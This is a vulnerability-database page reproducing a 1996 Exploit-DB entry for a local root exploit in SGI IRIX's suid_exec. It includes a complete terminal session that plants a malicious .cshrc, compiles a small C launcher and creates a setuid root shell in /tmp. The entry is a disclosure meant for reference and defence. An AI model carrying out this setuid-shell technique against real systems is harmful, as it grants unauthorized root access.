Lucene search
+L

SGI IRIX 6.4 - 'suid_exec' Local Privilege Escalation

🗓️ 02 Dec 1996 00:00:00Reported by Yuri VolobuevType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Vulnerability in SGI IRIX 'suid_exec' allows local privilege escalation through malicious .cshrc.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-1999-1114
9 Mar 200205:00
cve
Cvelist
CVE-1999-1114
9 Mar 200205:00
cvelist
EUVD
EUVD-1999-1095
7 Oct 202500:30
euvd
NVD
CVE-1999-1114
8 Apr 199804:00
nvd
source: https://www.securityfocus.com/bid/467/info

A vulnerability exists in the 'suid_exec' utility, as shipped by SGI with it's Irix operating system, versions 5.x and 6.x. Suid_exec is part of the Korn shell package, and was originally the mechanism by which ksh executed setuid shell scripts safely. However, it runs using the default shell, and as such will run the configuration files for the shell, such as a .cshrc. By placing malicious code in a .cshrc, and properly running suid_exec, commands can be executed as root.


% setenv | grep SHELL
SHELL=/bin/tcsh
% mv ~/.cshrc ~/.cshrc.old
% cat > ~/.cshrc
cp /bin/sh /tmp
chmod a+rsx /tmp/sh
^D
% cat > expl.c
main()
{
execl("/sbin/suid_exec","/bin/su","/bin/su",0);
}
^D
% cc expl.c -o expl.c
% ./expl
Too many ('s.
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 2 19:21 /tmp/sh*

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01073
25